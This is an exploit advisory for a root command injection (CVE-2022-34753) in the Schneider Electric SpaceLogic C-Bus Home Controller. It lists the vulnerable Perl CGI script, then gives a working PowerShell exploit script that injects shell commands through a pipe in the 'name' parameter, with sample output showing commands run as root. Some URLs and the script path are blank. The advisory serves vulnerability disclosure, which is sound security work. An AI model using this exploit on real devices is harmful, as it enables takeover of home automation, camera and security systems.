Schneider Electric SpaceLogic C-Bus Home Controller (5200WHC2) Remote Root Exploit

Vendor: Schneider Electric SE
Product web page:
Affected version: SpaceLogic C-Bus Home Controller (5200WHC2)
                  formerly known as C-Bus Wiser Home Controller MK2
                  V1.31.460 and prior
                  Firmware: 604

Summary: SpaceLogic C-Bus Home Automation System
Lighting control and automation solutions for
buildings of the future, part of SpaceLogic.
SpaceLogic C-Bus is a powerful, fully integrated
system that can control and automate lighting
and many other electrical systems and products.
The SpaceLogic C-Bus system is robust, flexible,
scalable and has proven solutions for buildings
of the future. Implemented for commercial and
residential buildings automation, it brings
control, comfort, efficiency and ease of use
to its occupants.

Wiser Home Control makes technologies in your
home easy by providing seamless control of music,
home theatre, lighting, air conditioning, sprinkler
systems, curtains and shutters, security systems...
you name it. Usable anytime, anywhere even when
you are away, via preset shortcuts or direct
control, in the same look and feel from a wall
switch, a home computer, or even your smartphone
or TV - there is no wiser way to enjoy 24/7
connectivity, comfort and convenience, entertainment
and peace of mind homewide! 

The Wiser 2 Home Controller allows you to access
your C-Bus using a graphical user interface, sometimes
referred to as the Wiser 2 UI. The Wiser 2 Home
Controller arrives with a sample project loaded
and the user interface accessible from your local
home network. With certain options set, you can
also access the Wiser 2 UI from anywhere using
the Internet. Using the Wiser 2 Home Controller
you can: control equipment such as IP cameras,
C-Bus devices and non C-Bus wired and wireless
equipment on the home LAN, schedule events in
the home, create and store scenes on-board, customise
a C-Bus system using the on-board Logic Engine,
monitor the home environment including C-Bus and
security systems, control ZigBee products such
as Ulti-ZigBee Dimmer, Relay, Groups and Curtains.

Examples of equipment you might access with Wiser
2 Home Controller include lighting, HVAC, curtains,
cameras, sprinkler systems, power monitoring, Ulti-ZigBee,
multi-room audio and security controls.

Desc: The home automation solution suffers from
an authenticated OS command injection vulnerability.
This can be exploited to inject and execute arbitrary
shell commands as the root user via the 'name' GET
parameter in '' Perl/CGI script which is
used for deleting snapshots taken from the webcam.


01: #!/usr/bin/perl
02: use IO::Handle;
05: select(STDERR);
06: $| = 1;
07: select(STDOUT);
08: $| = 1;
10: #print "\r\n\r\n";
12: $CGITempFile::TMPDIRECTORY = '/mnt/microsd/clipsal/ugen/imgs/';
13: use CGI;
15: my $PROGNAME = "";
17: my $cgi = new CGI();
19: my $name = $cgi-&gt;param('name');
20: if ($name eq "list") {
21:     print "\r\n\r\n";
22:     print "DATA=";
23:     print `ls -C1 /mnt/microsd/clipsal/ugen/imgs/`;
24:     exit(0);
25: }
26: if ($name eq "deleteall") {
27:     print "\r\n\r\n";
28:     print "DELETINGALL=TRUE&amp;";
29:     print `rm /mnt/microsd/clipsal/ugen/imgs/*`;
30:     print "COMPLETED=true\n";
31:     exit(0);
32: }
33: #print "name $name\n";
34: print "\r\n\r\n";
35: my $filename = "/mnt/microsd/clipsal/ugen/imgs/$name";
37: unlink $filename or die "COMPLETED=false\n";
39: print "COMPLETED=true\n";


Tested on: Machine: OMAP3 Wiser2 Board
           CPU: ARMv7 revision 2
           GNU/Linux 2.6.37 (armv7l)
           BusyBox v1.22.1
           Perl v5.20.0
           Clipsal 81
           Angstrom 2009.X-stable
           GCC 4.4.3
           NodeJS v10.15.3

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic

Advisory ID: ZSL-2022-5710
Advisory URL:

Vendor advisory:;p_File_Name=SEVD-2022-193-02_SpaceLogic-C-Bus-Home-Controller-Wiser_MK2_Security_Notification.pdf

CVE ID: CVE-2022-34753



$host.UI.RawUI.ForegroundColor = "Green"
if ($($args.Count) -ne 2)  {
    Write-Host("`nUsage: .\SpaceLogic.ps1 [IP] [CMD]`n")
} else {
    $ip = $args[0]
    $cmd = $args[1]
    $cmdinj = "/|$cmd"
    Write-Host("`nSending command '$cmd' to $ip`n")
    #curl -Headers @{Authorization = "Basic XXXX"} -v $ip$cmdinj
    curl -v $ip$cmdinj


PS C:\&gt; .\SpaceLogic.ps1

Usage: .\SpaceLogic.ps1 [IP] [CMD]

PS C:\&gt; .\SpaceLogic.ps1 "uname -a;id;pwd"

Sending command 'uname -a;id;pwd' to

VERBOSE: GET|uname -a;id;pwd with 0-byte payload
VERBOSE: received 129-byte response of content type text/html; charset=utf-8

StatusCode        : 200
StatusDescription : OK
Content           : Linux localhost 2.6.37-g4be9a2f-dirty #111 Wed May 21 20:39:38 MYT 2014 armv7l GNU/Linux
                    uid=0(root) gid=0(root)
RawContent        : HTTP/1.1 200 OK
                    Access-Control-Allow-Origin: *
                    Connection: keep-alive
                    Content-Length: 129
                    Content-Type: text/html; charset=utf-8
                    Date: Thu, 30 Jun 2022 14:48:43 GMT
                    ETag: W/"81-LTIWJvYlDBYAlgXEy...
Forms             : {}
Headers           : {[Access-Control-Allow-Origin, *], [Connection, keep-alive], [Content-Length, 129], [Content-Type, text/html; 
Images            : {}
InputFields       : {}
Links             : {}
ParsedHtml        : mshtml.HTMLDocumentClass
RawContentLength  : 129

PS C:\&gt;